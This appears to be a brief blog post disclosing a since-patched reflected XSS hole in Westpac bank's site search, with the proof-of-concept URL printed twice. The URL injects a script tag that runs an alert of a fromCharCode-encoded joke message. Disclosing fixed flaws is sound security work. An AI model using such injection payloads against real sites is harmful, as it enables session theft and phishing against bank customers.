Westpac is so far the only bank I have tested which didn't filter their search field. Needless to say the smell of an xss casualty brings the zombies around..
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The hole has been patched by westpac now. The url was:
http://search.westpac.com.au/search/search.cgi?collection=westpac&query=%3Cscript%3Ealert%28String.fromCharCode%2890,111,109,98,105,101,115,32,97,116,101,32,109,121,32,109,111,110,101,121,33%29%29%3C/script%3E&x=0&y=0
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The hole has been patched by westpac now. The url was:
http://search.westpac.com.au/search/search.cgi?collection=westpac&query=%3Cscript%3Ealert%28String.fromCharCode%2890,111,109,98,105,101,115,32,97,116,101,32,109,121,32,109,111,110,101,121,33%29%29%3C/script%3E&x=0&y=0